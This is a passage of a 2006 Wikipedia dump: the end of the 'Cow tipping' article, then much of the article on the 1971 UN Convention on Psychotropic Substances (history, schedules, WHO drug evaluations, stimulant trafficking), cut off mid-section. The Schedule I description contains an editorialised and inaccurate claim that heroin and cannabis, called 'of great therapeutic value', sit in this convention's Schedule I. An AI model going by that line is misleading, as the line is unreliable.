:&quot;Cow tipping is possible, it is very simple and I've done it. It requires three people (note: be very quiet, but sobriety may be a hindrance), one person on one side of the cow, two on the other. The lone person pushes very hard on his side, and waiting for the balancing response from the startled animal, the other two then push very hard on their side to overbalance her. Works like a charm.&quot;

Another reader, a [[Postdoctoral researcher|post-doc]] at [[University of Cambridge|Cambridge]], suggested one person could slam a cow down with a running start: &quot;I have calculated that an 80kg (175lb) person would only need to run at the cow at about 18km/h (12mph) in order to tip it.&quot;

== Cow tipping in popular culture ==
[[Image:MOOOOOOOOOOOOOOOOOOOO.jpg|right|thumb|Cow-tipping video game]]
* In an episode of [[MTV]]'s ''[[Beavis and Butt-Head]]'', a cow is tipped by the two of them.
* In a ''[[Rugrats]] [[All Grown Up]]'' episode (or maybe movie) where they visit a farm and Susie tries to tip a cow (and ends up succeeding in the end)
* It is mentioned in ''[[That '70s Show]]'' as something the kids did.
* In 1991, [[National Public Radio|NPR]] broadcast a half-hour radio play called &quot;Cow Tipping,&quot; a comedy about five hapless college-aged cow tippers in [[Illinois]]. Produced by the Midwest Radio Theatre Workshop.
* It is an often discussed topic on the popular breakfast radio show [[Foxy and Tom]].
* It was also featured in [[Chris Farley]]'s movie, [[Tommy Boy]], in which Farley and Rob Lowe attempted and failed to tip a slumbering cow.
* In the computer video game [[Fallout Tactics: Brotherhood of Steel]], there is a random encounter on the world map that puts the player characters into a field with cows that can be tipped.
* In the ''[[Drawn Together]]'' episode &quot;Ghostesses in the Slot Machine&quot;, Wooldoor Sockbat and Ling-Ling pushed Toot Braunstein over while she was standing in a field eating grass, causing her to moo. The joke is that Toot is always being made fun of for being fat (like a cow) - this particular exaggeration follows another character's statement that Toot is &quot;the same joke over and over&quot;.
* In the movie ''[[Heathers]]'', Veronica and Heather go on a [[double date]] on which their dates tip a cow into mud which splatters on both of them.
* In the beginning of the movie Larva [http://www.imdb.com/title/tt0393421/] two teenagers agree to tip over a cow in exchange for a [[strip-tease]] performed by their girlfriends, they succeed in tipping the cow because it has already been eaten from the inside by something, they are instantly and unknowingly infected.
* In the Online Role Playing game [[Asheron's Call|Asheron's Call: Dark Majesty]] cow tipping is possible but can be deadly.  http://members.cox.net/shizukana/gate-shot.htm
* In 2006 the New York rock group Little Willies, comprising Norah Jones, Richard Julian, Lee Alexander, Jim Campilongo and Dan Reiser recorded a song written by Jones, Alexander and Julian called “Lou Reed”. The song claimed that the singer Lou Reed had been sighted in Texas cow tipping.

==See also==
*[[Steer wrestling]] in which a running steer is &quot;tipped&quot;.

== External links ==
; Articles discussing how cows could be tipped
*[http://web.archive.org/web/20050320145500/http://www.zoology.ubc.ca/~biol438/Reports/CowTip.PDF University of British Columbia - The Mechanics of Cow Tipping (PDF)]
&lt;!-- Cows should be tipped 15-20%, just like any other service worker --&gt;

; Articles arguing that cow tipping is an urban legend
* [http://www.skeptic.com/jr5-09.html The Most Urban of All Urban Legends]
* [http://www.truthorfiction.com/rumors/c/cowtipping.htm Adventures in cow tipping - Fiction!]
* [http://www.timesonline.co.uk/article/0,,2-1858246,00.html The Times article on Cow Tipping by Jack Malvern]
* [http://www.theregister.co.uk/2005/11/09/cow_tipping/ The Register article debunking the myth of cow tipping while drunk by Lester Haines]

; Additional links about cow tipping
* [http://www.ubersite.com/m/14857 Humorous article about Cow Tipping] - ubersite.com
* [http://www.cowtippershandbook.com The Official Cow Tipper's Handbook] - Funny, illustrated book about Cow Tipping
* [http://voldarmusic.com/cow.htm Cow-tipping computer game]  One picture shows the player character using martial arts in a stance to focus his chi as the means to push over a three thousand pound cow.

[[Category:Cattle]]
[[Category:Urban legends]]
[[Category:Practical jokes]]</text>
    </revision>
  </page>
  <page>
    <title>Convention on Psychotropic Substances</title>
    <id>6521</id>
    <revision>
      <id>39517302</id>
      <timestamp>2006-02-14T01:15:12Z</timestamp>
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      <comment>/* Schedules of Controlled Substances */</comment>
      <text xml:space="preserve">{{cleanup-references}}

{{Treatybox|
treaty_name=Convention on Psychotropic Substances
|colour_scheme=background:skyblue
|image=[[Image:Ecstacy_monogram.jpg|200px|center]]
|caption=The Convention allows medical and scientific uses of Schedule I drugs. The [[World Health Organization]] Expert Committee that recommended in 1985 that [[MDMA]] be placed in Schedule I internationally included a statement urging signatory nations to the Convention on Psychotropic Substances &quot;to facilitate research on this interesting substance.&quot;
|place_signed=[[Vienna]]
|date_signed=[[February 21]], [[1971]]
|date_entered_into_force=[[August 16]], [[1976]]
|conditions_for_entry_into_force=40 ratifications
|parties=175
|}}
The '''Convention on Psychotropic Substances''' is a [[United Nations]] [[treaty]] designed to control [[psychoactive drug]]s such as [[amphetamine]]s, [[barbiturate]]s, and [[LSD]]. During the 1960s, drug use and abuse increased greatly around the world, especially in Western nations. Inspired by psychedelic advocates such as [[Aldous Huxley]] and [[Timothy Leary]], millions of young people experimented with powerful [[Psychedelics, dissociatives and deliriants | hallucinogen]]s, and [[narcotics|drug]]s of all kinds became freely available as manufacturers and traffickers took advantage of inconsistent national laws to circumvent restrictions on production and trade. The [[Single Convention on Narcotic Drugs]] of 1961 could not regulate the many newly discovered psychotropics, since its scope was limited to drugs with [[cannabis (drug)|cannabis]]-, [[coca]]-, and [[opium]]-like effects.

On [[February 21]], [[1971]], a conference of [[plenipotentiary|plenipotentiaries]] in [[Vienna]] signed a new Convention worded to include almost any conceivable mind-altering substance. The Convention, which contains import and export restrictions and other rules aimed at limiting drug use to scientific and medical purposes, came into force on [[August 16]], [[1976]]. Today, 175 nations are Parties to the treaty. Many laws have been passed to implement the Convention, including the [[United States|U.S.]] [[Psychotropic Substances Act (United States)|Psychotropic Substances Act]], the [[United Kingdom|U.K.]] [[Misuse of Drugs Act 1971]], and the [[Canada|Canadian]] [[Controlled Drugs and Substances Act]]. Like the treaty itself, these statutes usually divide drugs into several classes or Schedules.

Provisions to end the international trafficking of drugs covered by this Convention are contained in the [[United Nations Convention Against Illicit Traffic in Narcotic Drugs and Psychotropic Substances]]. This treaty, signed in 1988, regulates [[precursor]] chemicals to drugs controlled by the Single Convention and the Convention on Psychotropic Substances. It also strengthens provisions against [[money laundering]] and other drug-related crimes.

[[Adolf Lande]], under the direction of the [[United Nations Office of Legal Affairs]], prepared the Commentary on the Convention on Psychotropic Substances. The Commentary, published in 1976, is an invaluable aid to interpreting the treaty and constitutes a key part of its [[legislative history]].

==History==
International drug control began with the 1912 [[International Opium Convention]], a treaty which adopted import and export restrictions on the [[poppy]]'s psychoactive derivatives. Over the next half-century, several additional treaties were adopted under [[League of Nations]] auspices, gradually expanding the list of controlled substances to encompass [[cocaine]] and other drugs and granting the [[Permanent Central Opium Board]] power to monitor compliance. After the [[United Nations]] was formed in 1945, those enforcement functions passed to the UN.

In 1961, a conference of plenipotentiaries in [[New York]] adopted the [[Single Convention on Narcotic Drugs]], which consolidated the existing drug control treaties into one document and added [[cannabis]] to the list of prohibited plants. In order to appease the pharmaceutical interests, the Single Convention's scope was sharply limited to the list of drugs enumerated in the Schedules annexed to the treaty and to those drugs determined to have similar effects.

During the 1960s, a wave of drug use spread across Western developed nations, to the point where it appeared to alarmed policymakers to be reaching epidemic proportions. Inspired by [[Aldous Huxley]], [[Timothy Leary]], and a host of other psychedelic avatars, young people began using hallucinogenic, stimulant, and other drugs on a widespread scale. In many jurisdictions, police had no laws under which to prosecute users and traffickers of these new drugs; [[LSD]], for instance, was not prohibited federally in the U.S. until 1967.

In 1968, &quot;[d]eeply concerned at reports of serious damage to health being caused by [[LSD]] and similar hallucinogenic substances,&quot; the [[UN Economic and Social Council]] passed a resolution calling on nations to limit the use of such drugs to scientific and medical purposes and to impose import and export restrictions{{ref|LSD-resolution}}. Later that year, the [[UN General Assembly]] requested that ECOSOC call upon the [[Commission on Narcotic Drugs]] to &quot;give urgent attention to the problem of the abuse of the psychotropic substances not yet under international control, including the possibility of placing such substances under international control&quot;{{ref|internationalcontrolresolution}}.

Circa 1969, with use of [[stimulant]]s spiraling out of control, ECOSOC noted with considerable consternation that the Commission &quot;was unable to reach agreement on the applicability of the Single Convention on Narcotic Drugs, 1961 to these substances&quot;{{ref|stimulantresolution}}. The language of the Single Convention and its legislative history precluded any interpretation that would allow international regulation of these drugs under that treaty. A new convention, with a broader scope, would be required in order to bring those substances under control. Using the Single Convention as a template, the Commission prepared a draft convention which was forwarded to all UN member states. The [[UN Secretary-General]] scheduled a conference for early 1971 to finalize the treaty{{ref|conference-resolution}}.

Meanwhile, countries had already begun passing legislation to implement the draft treaty. In 1969, [[Canada]] added Part IV to its [[Food and Drugs Act]], placing a set of &quot;restricted substances,&quot; including [[LSD]], [[Dimethyltryptamine|DMT]], and [[3,4-methylenedioxyamphetamine|MDA]], under federal control. In 1970, the [[United States]] completely revamped its existing drug control laws by enacting the [[Controlled Substances Act]] (amended in 1978 by the [[Psychotropic Substances Act (United States)|Psychotropic Substances Act]], which allows the U.S. drug control Schedules to be updated as needed to comply with the Convention). In 1971, the [[United Kingdom]] passed the [[Misuse of Drugs Act 1971]]. A host of other nations followed suit. A common feature shared by most implementing legislation is the establishment of several classes or Schedules of controlled substances, similarly to the Single Convention and the Convention on Psychotropic Substances, so that compliance with international law can be assured simply by placing a drug into the appropriate Schedule.

The conference convened on [[January 11]], [[1971]]. Nations split into two rival factions, based on their interests. According to a [[Canadian Senate]] report, &quot;One group included mostly developed nations with powerful pharmaceutical industries and active psychotropics markets . . . The other group consisted of developing states...with few psychotropic manufacturing facilities&quot;{{ref|cansenrpt}}. The organic drugmaking states that had suffered economically from the Single Convention's restrictions on [[cannabis]], [[coca]], and [[opium]], fought for tough regulations on synthetic drugs. The synthetic drug-producing states opposed those restrictions.  Ultimately, the developing states' lobbying power was no match for the powerful pharmaceutical industry's, and the international regulations that emerged at the conference's close on [[February 21]] were considerably weaker than those of the Single Convention.

The Convention's adoption marked a major milestone in the development of the global drug control regime. Over 59 years, the system had evolved from a set of loose controls focused on a single drug into a comprehensive regulatory framework capable of encompassing almost any mind-altering substance imaginable.

==Schedules of Controlled Substances==
:''The list of Schedules and the substances presently therein can be found on the International Narcotics Control Board's website{{ref|incb.org-substances}}.''
The Convention has four Schedules of controlled substances, ranging from Schedule I (most restrictive) to Schedule IV (least restrictive). A list of psychotropic substances, and their corresponding Schedules, was annexed to the 1971 treaty. A 2002 European Parliament report describes the Schedules as follows{{ref|europarlreport2}}:
*'''Schedule I''' includes supposedly dangerous drugs claimed to create a serious risk to public health, and whose therapeutic value is doubtful or nil. It includes synthetic [[Psychedelics, dissociatives and deliriants|hallucinogens]] such as [[LSD]] and [[Dimethyltryptamine|DMT]].  [[Heroin]] and [[cannabis]], which are of great thereaputic value, are also included in this category.
*'''Schedule II''' includes stimulants of the [[amphetamine]] type, of limited therapeutic value, as well as some [[analgesic]]s such as [[phencyclidine]]. 
*'''Schedule III''' includes [[barbiturate]] products with fast or average effects, which have been the object of serious abuse even though useful therapeutically.
*'''Schedule IV''' includes [[hypnotic]]s, [[tranquilizer]]s ([[benzodiazepine]]) and analgesics, which engender an appreciable dependence, but are mainly used in therapy.

A 1999 UNODC report notes that Schedule I is a completely different regime from the other three. According to that report, Schedule I mostly contains [[Psychedelics, dissociatives and deliriants|hallucinogenic drug]]s such as [[LSD]] that are produced by illicit laboratories, while the other three Schedules are mainly for licitly produced pharmaceuticals. The UNODC report{{ref|unodc.org-report}} also claims that the Convention's Schedule I controls are stricter than those provided for under the Single Convention, a contention that seems to be contradicted by the 2002 [[Canadian Senate]]{{ref|parl.gc.ca|report2}} and 2003 [[European Parliament]] reports{{ref|europarl.eu.int-report}}.

Although estimates and other controls specified by the Single Convention are not present in the Convention on Psychotropic Substances, the [[International Narcotics Control Board]] corrected the omission by asking Parties to submit information and statistics not required by the Convention, and using the initial positive responses from various organic drug producing states to convince others to follow{{ref|parl.gc.ca-adherence}}. In addition, the Convention does impose tighter restrictions on imports and exports of Schedule I substances. A 1970 [[Bulletin on Narcotics]] report notes{{ref|unodc.org-report2}}:
:''LSD, mescaline, etc., are controlled in a way which is more stringent than morphine under the narcotics treaties. [[Wikisource:Convention_on_Psychotropic_Substances#Article_7:_SPECIAL_PROVISIONS_REGARDING_SUBSTANCES_IN_SCHEDULE_1|Article 7]], which sets down this regime, provides that such substances can only be moved in international trade when both exporter and importer are government authorities, or government agencies or institutions specially authorized for the purpose; in addition to this very rigid identification of supplier and recipient, in each case export and import authorization is also mandatory.''&lt;!--Their quote said Article 6, but it's really Article 7.--&gt;

==Scheduling process==
[[Wikisource:Convention_on_Psychotropic_Substances#Article_2:_SCOPE_OF_CONTROL_OF_SUBSTANCES|Article 2]] sets out a process for adding additional drugs to the Schedules. First, the [[World Health Organization]] (WHO) must find that the drug meets the specific criteria set forth in Article 2, Section 4, and thus is eligible for control. Then, the WHO issues an assessment of the substance that includes:
*The extent or likelihood of abuse,
*The degree of gravity in the public health and social problem, and
*The degree of utility of the substance in legitimate medical therapy.
The [[Commission on Narcotic Drugs]] makes the final decision on whether to add the drug to a Schedule, &quot;taking into account the communication from the World Health Organization, whose assessments shall be determinative as to medical and scientific matters, and bearing in mind the economic, social, legal, administrative and other factors it may consider relevant&quot;. A similar process is followed in deleting a drug from the Schedules or transferring a drug between Schedules. For instance, at its 33rd meeting, the WHO Expert Committee on Drug Dependence recommended transferring [[tetrahydrocannabinol]] to Schedule IV of the Convention, citing its medical uses and low abuse potential{{ref|who.int-tetrahydrocannabinol}}.

The [[UN Economic and Social Council]] is the only body with the power to alter or reverse the Commission's scheduling decisions.

In the event of a disagreement about a drug's Scheduling, Article 2, Paragraph 7 allows a Party to, within 180 days of the communication of the Commission's decision, give the [[UN Secretary-General]] &quot;a written notice that, in view of exceptional circumstances, it is not in a position to give effect with respect to that substance to all of the provisions of the Convention applicable to substances in that Schedule.&quot; This allows the nation to comply with a less stringent set of restrictions. The U.S. [[Controlled Substances Act]]'s ''21 U.S.C. § 811(d)(4)''{{ref|usdoj.gov-811}} implies that placing a drug in Schedule IV or V of the Act is sufficient to &quot;carry out the minimum United States obligations under paragraph 7 of article 2 of the Convention&quot;. This provision, which calls for temporarily placing a drug under federal drug control in the event the Convention requires it, was invoked in 1984 with [[rohypnol]]. Long before abuse of the drug was sufficiently widespread in the United States to meet the Act's drug control criteria, rohypnol was added to the Schedules of the Convention on Psychotropic Substances, and the U.S. government had to place rohypnol in Schedule IV of the Controlled Substances Act in order to meet its minimum treaty obligations{{ref|hhs.gov-daterape}}.

As of March 2005, 111 substances were controlled under the Convention.&lt;!--A number of derivatives (salts, esters, etc.) are also controlled informally.--&gt;

==World Health Organization evaluations of specific drugs==
===Ephedrine===
In 1998, [[ephedrine]] was recommended for control under the Convention. The [[Dietary Supplement Safety and Science Coalition]] lobbied against control, stressing the drug's history and safety, and arguing that &quot;ephedrine is not a controlled substance in the US today, nor should it be internationally&quot;{{ref|ddmi.he.net-ephedrine}}. After a two-year debate, the Expert Committee on Drug Dependence decided against regulating ephedrine. However, the Commission on Narcotics Drugs and the International Narcotics Control Board listed the drug as a Table I precursor under the [[United Nations Convention Against Illicit Traffic in Narcotic Drugs and Psychotropic Substances]], a move that did not require WHO approval.

[[Image:Ketamine2.JPG|thumb|right|Despite its well-known presence in the rave scene, [[ketamine]], or Special K, remains uncontrolled internationally due to its importance as an [[anesthetic]] in veterinary medicine.]]

===Ketamine===
The Expert Committee on Drug Dependence cautiously began investigating [[ketamine]] at its thirty-third meeting, noting, &quot;Its use in veterinary medicine must also be considered in relation to its control&quot;{{ref|unicri.it-ketamine}}. Ketamine remains uncontrolled internationally, although many nations have enacted restrictions on the drug.

===MDMA===
The Expert Committee's evaluation of MDMA, or [[Ecstasy (drug)|Ecstasy]], during its twenty-second meeting was marked by pleas from doctors to allow further research into the drug's therapeutic uses. The UN was under considerable pressure from the United States government to control the drug in the wake of extensive seizures of the drug by American authorities. [[Paul Grof]], chairman of the Expert Committee, argued that international control was not yet warranted, and that scheduling should be delayed pending completion of more studies. The Expert Committee concluded that because there was &quot;insufficient evidence to indicate that the substance has therapeutic usefulness,&quot; it should be placed in Schedule I. However, its report did recommend more MDMA research{{ref|erowid.org-ecstasy}}:
:''It should be noted that the Expert Committee held extensive discussions concerning therapeutic usefulness of 3,4 Methylenedioxymethamphetamine. While the Expert Committee found the reports intriguing, it felt that the studies lacked the appropriate methodological design necessary to ascertain the reliability of the observations. There was, however, sufficient interest expressed to recommend that investigations be encouraged to follow up these preliminary findings. To that end, the Expert Committee urged countries to use the provisions of [[Wikisource:Convention_on_Psychotropic_Substances#Article_7:_SPECIAL_PROVISIONS_REGARDING_SUBSTANCES_IN_SCHEDULE_1|Article 7]] of the Convention on Psychotropic Substances to facilitate research on this interesting substance.''

===Methcathinone===
Circa 1994, the United States government notified the [[UN Secretary General]] that it supported controlling [[methcathinone]], an addictive stimulant manufactured with common household products, as a Schedule I drug under the Convention. The FDA report warned of the drugs dangers, even noting that addicts in [[Russia]] were observed to often have &quot;[[potassium permanganate]] burns on their fingers&quot; and to &quot;tend not to pay attention to their appearance, thus looking ragged with dirty hands and hair&quot;{{ref|lycaeum.org-FDA}}. Methcathinone did not have any supporters in the pharmaceuticals industry, and the decision to place the drug in Schedule I was therefore uncontested.

===Nicotine===
Traditionally, the UN has been reluctant to control [[nicotine]] and other licit drugs, citing tolerance of a wide range of lifestyles. [[Gabriel Nahas]], in a [[Bulletin on Narcotics]] report, noted{{ref|unodc.org-report2-2}}:
:''Some addictive drugs such as nicotine or caffeine (in moderate amounts) and alcohol (in small amounts) do not produce any measurable symptoms of neuropsychological toxicity. Some pharmacologists have associated the symptoms of neuropsychological toxicity with behavioural toxicity, which include in addition: suppression of normal anxiety, reduction in motivation and non-purposive or inappropriate behaviour. However, the latter be-havioural symptoms do not present &quot;markers&quot; which may be measurable in societies accepting as &quot;normal&quot; a wide range of life styles.''
Nonetheless, in October 1996, the Expert Committee considered controlling nicotine, especially products such as gum, patches, nasal spray, and inhalers{{ref|nida.nih.gov-report}}. The UN ultimately left nicotine unregulated. Since then, nicotine products have become even more loosely controlled; Nicorette gum, for instance, is now an [[over-the-counter substance]] in the United States.

===Tetrahydrocannabinol===
[[Tetrahydrocannabinol]], the active ingredient in [[cannabis]], was originally placed in Schedule I when the Convention was enacted in 1971. At its twenty-sixth meeting, the WHO Expert Committee on Drug Dependence recommended that THC be transferred to Schedule II, citing its low abuse potential. The Commission on Narcotic Drugs rejected the proposal. At its thirty-third meeting, the Committee issued another evaluation of the drug, stating:
:''The abuse liability of dronabinol (delta-9-tetrahydrocannabinol) is expected to remain very low so long as cannabis continues to be readily available. The Committee considered that the abuse liability of dronabinol does not constitute a substantial risk to public health and society. In accordance with the established scheduling criteria, the Committee considered that dronabinol should be rescheduled to schedule IV of the 1971 Convention on Psychotropic Substances.''
At its 1045th meeting, on [[April 29]], [[1991]], the Commission on Narcotic Drugs approved the transfer of dronabinol and its stereochemical variants from Schedule I to Schedule II of the Convention, while leaving other tetrahydrocannabinols and their stereochemical variants in Schedule I.

==Medical and other drug uses==
[[Image:peyote.jpg|frame|right|Article 32 makes an exception for [[peyote]] and other &quot;plants growing wild which contain psychotropic substances from among those in Schedule I and which are traditionally used by certain small, clearly determined groups in magical or religious rites&quot;.]]Like the Single Convention, the Convention on Psychotropic Substances recognizes scientific and medical use of psychoactive drugs, while banning other uses. [[Wikisource:Convention_on_Psychotropic_Substances#Article_7:_SPECIAL_PROVISIONS_REGARDING_SUBSTANCES_IN_SCHEDULE_1|Article 7]] provides that, in respect of Schedule I substances, the Parties shall &quot;[p]rohibit all use except for scientific and very limited medical purposes by duly authorized persons, in medical or scientific establishments which are directly under the control of their Governments or specifically approved by them&quot;.

In this sense, the U.S. [[Controlled Substances Act]] is stricter than the Convention requires. Both have a tightly restricted category of drugs called Schedule I, but the Act prohibits medical use of Schedule I substances, while the Convention allows limited medical use of all substances.

[[Wikisource:Convention_on_Psychotropic_Substances#Article_32:_RESERVATIONS|Article 32]] allows an exemption for [[peyote]] and other &quot;plants growing wild which contain psychotropic substances from among those in Schedule I and which are traditionally used by certain small, clearly determined groups in magical or religious rites&quot;. However, this provision can only be invoked if a Party makes a reservation at the time of signature, ratification or accession. The U.S. Government, in ''O Centro Espirita Beneficiente Uniao do Vegetal v. Reno'', argued that this is an extremely limited exemption. That case involved a seizure by [[U.S. Customs and Border Protection]] of several drums of [[Dimethyltryptamine|DMT]]-containing liquid derived from [[ayahuasca]]. Plaintiffs sued to have the drugs returned to them, claiming that they used it as a central part of their religion{{ref|statedept}}.

==Organic plants==
The Commentary on the Convention on Psychotropic Substances notes that while many plant-derived chemicals are controlled by the treaty, the plants themselves are not{{ref|maps.org-pipermail}}:
[[Image:Shrooms.jpeg|frame|right|Psilocybin mushrooms are not controlled by the Convention, but the drugs contained in them are.]]
:''The term &quot;synthetic&quot; appears to refer to a psychotropic substance manufactured by a process of full chemical synthesis. One may also assume that the authors of the Vienna Convention intended to apply the term &quot;natural material&quot; to parts of a plant which constitute a psychotropic substance, and the term &quot;natural psychotropic substance&quot; to a substance obtained directly from a plant by some process of manufacturing which was relatively simple, and in any event much simpler than a process of full chemical synthesis.''
:''(...)''
:''Cultivation of plants for the purpose of obtaining psychotropic substances or raw materials for the manufacture of such substances is not &quot;manufacture&quot; in the sense of [[Wikisource:Convention_on_Psychotropic_Substances#Article_1:_USE_OF_TERMS|Article 1]], paragraph (i). Many provisions of the Vienna Convention governing psychotropic substances would be unsuitable for application to cultivation. The harvesting of psychotropic substances, i.e. separation of such substances from the plants from which they are obtained, is &quot;manufacture&quot;.''
:''(...)''
:''The cultivation of plants from which psychotropic substances are obtained is not controlled by the Vienna Convention. (...) Neither the crown (fruit, mescal button) of the [[Peyote]] cactus nor the roots of the plant Mimosa hostilis nor Psilocybe mushrooms themselves are included in Schedule 1, but only their respective principles, [[mescaline]], [[Dimethyltryptamine|DMT]] and psilocine, psilotsin.''
[[Mexico]], in particular, argued that &quot;production&quot; of psychotropic drugs should not apply to wild-growing plants such as [[peyote]] cacti or [[psilocybin]] mushrooms. The [[Bulletin on Narcotics]] noted that &quot;Mexico could not undertake to eradicate or destroy these plants&quot;{{ref|unodc.org-report2-3}}. Compared to the [[Single Convention on Narcotic Drugs]] (which calls for &quot;uprooting of all coca bushes which grow wild&quot; and governmental licensing, purchasing, and wholesaling of licit opium, coca, and cannabis crops), the Convention on Psychotropic Substances devotes few words to the subject of psychoactive plants.

On [[July 2]], [[1987]], the United States Assistant Secretary of Health recommended that the [[Drug Enforcement Administration]] initiate scheduling action under the [[Controlled Substances Act]] in order to implement restrictions required by [[cathinone]]'s Schedule I status under the Convention. The 1993 DEA rule placing cathinone in the CSA's Schedule I noted that it was effectively also banning [[khat]]{{ref|erowid-cathinone}}:
:''Cathinone is the major psychoactive component of the plant Catha edulis (khat). The young leaves of khat are chewed for a stimulant effect. Enactment of this rule results in the placement of any material which contains cathinone into Schedule I.''

==Precursors==
A 1971 [[Bulletin on Narcotics]] notes{{ref|unodc.org-1971}}:
:''[[Wikisource:Convention_on_Psychotropic_Substances#Article_2:_SCOPE_OF_CONTROL_OF_SUBSTANCES|Article 2]], in paragraph 4 of the original text, carried over the concept in [[Wikisource:Single Convention on Narcotic Drugs#Article_3:_CHANGES_IN_THE_SCOPE_OF_CONTROL|Article 3]] (3) (iii) of the Single Convention, and required the application to a &quot;precursor &quot; – i.e. a substance &quot;readily convertible&quot; into a substance under control – of measures of control. In Vienna the complexity of controlling precursors of psychotropic substances was agreed to be so overwhelming that no absolute obligation to control them was provided. The new article 2 in paragraph 9 asks Parties &quot;to use their best endeavours&quot; to apply &quot;such measures of supervision as may be practicable&quot; to substances which may be used in the illicit manufacture of psychotropic substances, i.e. their precursors and possibly also substances essential in the chemistry of manufacture.''
This provision was eventually judged to be inadequate, and was strengthened by the [[United Nations Convention Against Illicit Traffic in Narcotic Drugs and Psychotropic Substances]]'s precursor control regime, which established two Tables of controlled precursors. The [[Commission on Narcotic Drugs]] and [[International Narcotics Control Board]] were put in charge of adding, removing, and transferring substances between the Tables.

==Analogs==
Circa 1999, the Government of [[Spain]] proposed amending Schedules I and II to include [[isomer]]s, [[ester]]s, [[ether]]s, salts of isomers, esters and ethers, and any &quot;substance resulting from modification of the chemical structure of a substance already in Schedule I or II and which produced pharmacological effects similar to those produced by the original substances&quot;{{ref|un.org-1999}}. The WHO opposed this change. The [[Commission on Narcotic Drugs]] did amend the Schedules to include [[stereoisomer]]s, however, with the understanding that &quot;specific isomers that did not have hazardous pharmacological activity and that posed no danger to society could be excluded from control, as [[dextromethorphan]] had been in the case of Schedule I of the 1961 Convention.&quot; The WHO recommendation, as well as the understanding regarding exempt stereoisomers and the reference to dextromethorphan, a powerful [[dissociative]] sold as a [[cough suppressant]] by powerful drugmakers, were indications of the influence of the pharmaceuticals industry in the decision-making process.

==Penal provisions==
[[Image:LSD glassware.jpg|frame|right|LSD and equipment used in its manufacture are subject to seizure under Article 22.]]
[[Wikisource:Convention_on_Psychotropic_Substances#Article_22:_PENAL_PROVISIONS|Article 22]] provides:
:''Subject to its constitutional limitations, each Party shall treat as a punishable offence, when committed intentionally, any action contrary to a law or regulation adopted in pursuance of its obligations under this Convention, and shall ensure that serious offences shall be liable to adequate punishment, particularly by imprisonment or other penalty of deprivation of liberty.
[[Conspiracy]], attempts, preparatory acts, and financial operations related to drug offenses are also required to be criminalized. Party also must count convictions handed down by foreign governments in determining [[recidivism]]. Article 22 also contains [[extradition]] provision, although a nation can refuse to grant extradition if its &quot;competent authorities consider that the offence is not sufficiently serious.&quot;

==Treatment and prevention==
[[Wikisource:Convention_on_Psychotropic_Substances#Article_22:_PENAL_PROVISIONS|Article 22]] allows Parties, in implementing the Convention's penal provisions, to make exceptions for drug abusers by substituting &quot;treatment, education, after-care, [[Drug rehabilitation|rehabilitation]] and social reintegration&quot; for [[imprisonment]]. This reflects a shift in focus in the war on drugs from incarceration to treatment and prevention that had already begun to take hold by 1971. Indeed, in 1972, a parallel provision allowing treatment for drug abusers was added to the Single Convention on Narcotic Drugs by the [[Protocol Amending the Single Convention on Narcotic Drugs]].

[[Wikisource:Convention_on_Psychotropic_Substances#Article_20:_MEASURES_AGAINST_THE_ABUSE_OF_PSYCHOTROPIC_SUBSTANCES|Article 20]] mandates drug treatment, education, and prevention measures and requires Parties to assist efforts to &quot;gain an understanding of the problems of abuse of psychotropic substances and of its prevention&quot; and to &quot;promote such understanding among the general public if there is a risk that abuse of such substances will become widespread.&quot; To comply with these provisions, most Parties financially support organizations and agencies dedicated to these goals. The United States, for instance, established the [[National Institute on Drug Abuse]] in 1974 to comply with the research requirement and began sponsoring [[Drug Abuse Resistance Education]] in 1983 to help fulfill the educational and prevention requirements.

==Recent trends==
===Rise in stimulant trafficking===
[[Image:Methlab.jpg|thumb|166px|right|The 1971 Convention was designed to control legitimate pharmaceutical markets, rather than illicit markets, a limitation that has hampered efforts to stem clandestine production and trade of [[methamphetamine]] and other stimulants.]]
Control of [[stimulant]]s has become a major challenge for the UN. In 1997, the [[World Drug Report]] warned{{ref|worlddrugreport}}:
:''Since the mid-1980s the world has faced a wave of synthetic stimulant abuse, with approximately nine times the quantity seized in 1993 than in 1978, equivalent to an average annual increase of 16 per cent. The principle synthetic drugs manufactured clandestinely are the amphetamine-type stimulants (ATS) which include the widely abused [[amphetamine]] and [[methamphetamine]], as well as the more recently popularised methylenedioxymethamphetamine (MDMA), known as [[ecstasy (drug)|ecstacy]].&quot; It is estimated that throughout the world 30,000,000, people use ATS. This is 0.5 per cent of the global population and exceeds the number using [[heroin]] and probably those using [[cocaine]].''
A 1998 UN General Assembly Special Session on the World Drug Problem report noted{{ref|un.org-amphet}}:
:''Between 1971 and 1995, there was a nearly fivefold increase in the number of amphetamine-type stimulants under international control. . . [[Ecstasy (drug)|Ecstacy]] and related designer drugs are under schedule one of the 1971 Convention, because they have virtually no medical use, while [[amphetamine]] and [[methamphetamine]] are under schedule 2 because they began life with medical use. But even though they are scheduled, the system is not really working for these illegally produced drugs. One of the main limitations of the control system is that the Psychotropic Convention was not designed to control illicit markets. It was designed to control and regulate legitimate pharmaceutical markets to prevent their [[diversion]] into illicit markets.'' 
The report mentioned proposals to increase the flexibility of scheduling drugs under the Convention and to amend the drug-control treaties to make them more responsive to the current situation. Neither proposal has gained traction, however. Due to the ease of manufacturing methamphetamine, methcathinone, and certain other stimulants, control measures are focusing less on preventing drugs from crossing borders. Instead, they are centering around increasingly long prison sentences for manufacturers and traffickers as well as regulations on large purchases of [[precursor]]s such as [[ephedrine]] and [[pseudoephedrine]]. The International Narcotics Control Board and Commission on Narcotic Drugs help coordinate this fight by adding additional precursors to the Tables of chemicals controlled under the [[United Nations Convention Against Illicit Traffic in Narcotic Drugs and Psychotropic Substances]].

In 1997, ECOSOC called on nations to help enforce international law by cooperating &quot;with relevant international organizations, such as the [[International Criminal Police Organization]] and the [[World Customs Organization]] . . . in order to promote coordinated international action in the fight against illicit demand for and supply of amphetamine-type stimulants and their precursors.&quot; That resolution also called on governments overseeing precursor exports &quot;to inquire with the authorities of importing States about the legitimacy of transactions of concern, and to inform the International Narcotics Control Board of the action taken, particularly when they do not receive any reply to their inquiries&quot;{{ref|ecosocres}}.

[[Image:Methamphetamine.gif|frame|right|Crystal meth has emerged as a commonly abused drug, from the [[United States of America|America]]n and [[Europe]]an [[rave party|rave]] scenes to the backwaters of [[East Asia]].]]
Pockets of high-intensity clandestine production and trafficking, such as rural southwest [[Virginia]], exist in most industrialized nations. However, the [[United Nations Office on Drugs and Crime]] believes that [[East Asia]] (particularly [[Thailand]]) now has the most serious amphetamine-type stimulant (ATS) problem in the world. A 2002 report by that agency noted{{ref|unodc.un.or.th}}:
